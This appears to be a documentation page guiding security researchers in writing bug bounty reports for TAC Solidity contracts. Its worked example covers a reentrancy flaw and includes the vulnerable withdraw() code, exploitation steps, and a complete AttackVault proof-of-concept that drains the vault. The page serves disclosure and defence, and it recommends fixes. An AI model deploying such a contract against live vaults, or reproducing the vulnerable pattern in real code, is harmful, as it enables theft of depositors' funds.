Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.tac.build/llms.txt

Use this file to discover all available pages before exploring further.

Bug Bounty Report Guide

The report template below covers vulnerabilities in TAC-related Solidity contracts deployed on EVM-compatible chains (TAC, Ethereum, etc.). Some of them are available here. Tools: Hardhat / Foundry / Tenderly.

Report Template

SECURITY VULNERABILITY REPORT
<Protocol> — <Severity> <Class> in <ContractName>
Date: YYYY-MM-DD
Status: <THEORETICAL | TESTNET CONFIRMED | MAINNET CONFIRMED>


===============================
EXECUTIVE SUMMARY
===============================

<function broken, funds at risk, repeatability>


===============================
VULNERABILITY DETAILS
===============================

Contract:     <file>, <function>, lines <X–Y>
Deployed:     <address>
SWC / class:  <SWC-NNN or category>

Root cause:
  <one sentence at line level>

Vulnerable snippet:
  <code>

Fixed version:
  <code>

Prerequisites:
  <conditions>


===============================
EXPLOITATION STEPS
===============================

1. <step>
2. <step>
...


===============================
POC RESULTS
===============================

Attack contract:   <addr>
Exploit TX:        <hash>
Block:             <number>

Balance table:
  <address>   before → after   delta

Scaling:
  <seed deposit → max extractable → gas>


===============================
IMPACT ASSESSMENT
===============================

Severity: <CRITICAL | HIGH | MEDIUM | LOW>

  1. <point>
  2. <point>


===============================
RECOMMENDED FIX
===============================

Immediate:   <change>
Long-term:   <architectural>
Audit:       <adjacent functions>


===============================
PROOF-OF-CONCEPT CODE
===============================

<full self-contained Solidity + Hardhat/Foundry test>


===============================
DISCLOSURE TIMELINE
===============================

YYYY-MM-DD   <event>
YYYY-MM-DD   <event>

Report Template Commentary

1. Title and Metadata

SECURITY VULNERABILITY REPORT
<Protocol> — <Severity> <Class> in <ContractName>
Date: YYYY-MM-DD
Status: <THEORETICAL | TESTNET CONFIRMED | MAINNET CONFIRMED>
Useful tags to name in the title: Reentrancy, Access Control, Price Manipulation, Unchecked Return Value, Signature Replay, Upgradeable Storage Collision, Integer Overflow.

2. Executive Summary

Same four questions as always:
  1. What is broken? — one sentence naming the vulnerable function.
  2. What does the attacker gain? — drained funds / minted tokens / ownership takeover.
  3. How much? — TVL at risk or maximum extractable value (MEV).
  4. Is it repeatable? — per-block / per-tx / once.
Example:
The withdraw() function in Vault.sol does not follow Checks-Effects-Interactions.
An attacker with 1 TAC can drain the entire contract balance (~420 TAC) in a
single transaction via reentrancy. The attack requires no special roles.

3. Vulnerability Details

3.1 Affected Contract

Contract:  contracts/Vault.sol
Function:  withdraw(uint256 amount)  — lines 87–104
Deployed:  0x<address>  (mainnet / testnet)
Provide a source-verified link on TAC Explorer / Etherscan / Blockscout if available.

3.2 Root Cause

Name the SWC / Solodit category and give the one-line explanation:
SWC-107 (Reentrancy): balances[msg.sender] is decremented after the external .call{value: amount}(""), allowing the callee to re-enter withdraw() before the balance is zeroed.

3.3 Vulnerable Code Snippet

// Vault.sol:87 — VULNERABLE
function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount);
    (bool ok,) = msg.sender.call{value: amount}(""); // <-- re-entry point
    require(ok);
    balances[msg.sender] -= amount;                  // <-- too late
}

3.4 Fixed Version (for comparison)

// CEI-correct version
function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount;                  // effect first
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok);
}

3.5 Prerequisites

- Attacker must have a non-zero deposit in the Vault (min 1 wei).
- No time-lock or withdrawal limit on the contract.

4. Exploitation Steps

1. Deploy AttackVault with address of Vault.
2. Call AttackVault.fund{value: 1 ether}() — seeds attacker deposit.
3. Call AttackVault.attack() — triggers withdraw(), re-enters 420 times,
   drains all TAC from Vault.
4. Call AttackVault.collect() — sends drained TAC to attacker EOA.

5. PoC Results

Required:
  • Attack contract address.
  • TX hash of the exploit.
  • Block number.
  • Balance before/after for the Vault and the attacker.
Example table:
ADDRESS                BALANCE BEFORE    BALANCE AFTER    DELTA
-------                --------------    -------------    -----
Vault                  420.000 TAC       0.000 TAC        -420 TAC
AttackVault            1.000 TAC         421.000 TAC      +420 TAC
Attacker EOA           0.000 TAC         421.000 TAC      +420 TAC (after collect)
Exploit TX: 0x<hash>
Block: <number>
Gas used: <amount> (~$XX at current prices)

5.1 Scaling Economics

Seed deposit    Vault TVL drained    Gas cost    Net profit
-----------     -----------------    --------    ----------
1 wei           any                  ~0.01 TAC   TVL − 0.01 TAC
The exploit is TVL-agnostic: any non-zero deposit drains the full balance.

6. Impact Assessment

Severity: CRITICAL

  1. Full TVL drainage — all depositor funds at risk.
  2. No special roles required — any depositor can exploit.
  3. Single transaction — no setup window for defenders.
  4. Irreversible — no admin pause function exists.
Mention if the contract is upgradeable (proxy pattern) — this affects whether a hotfix can be deployed without migrating funds.

Immediate

Apply Checks-Effects-Interactions: move all state updates (balances[msg.sender] -= amount)
BEFORE the external call.

Alternatively, add a ReentrancyGuard (OpenZeppelin) nonReentrant modifier.

Long-term

Adopt OpenZeppelin ReentrancyGuardTransient (EIP-1153) for lower gas cost.
Add Slither / Aderyn to CI to catch CEI violations at PR time.
Adjacent Audit
Audit all other functions that perform external calls followed by state updates:
borrow(), liquidate(), flashLoan() — same pattern may exist.

8. Proof-of-Concept Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVault {
    function deposit() external payable;
    function withdraw(uint256) external;
}

contract AttackVault {
    IVault public vault;
    address public owner;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _vault) { vault = IVault(_vault); owner = msg.sender; }

    function fund() external payable { vault.deposit{value: msg.value}(); }

    function attack() external {
        vault.withdraw(AMOUNT);
    }

    receive() external payable {
        if (address(vault).balance >= AMOUNT) {
            vault.withdraw(AMOUNT);
        }
    }

    function collect() external {
        payable(owner).transfer(address(this).balance);
    }
}
Hardhat runner (abbreviated):
const vault = await ethers.deployContract("Vault", { value: parseEther("420") });
const atk   = await ethers.deployContract("AttackVault", [vault.target]);
await atk.fund({ value: parseEther("1") });
await atk.attack();
console.log("Vault balance:", await ethers.provider.getBalance(vault.target));
// expected: 0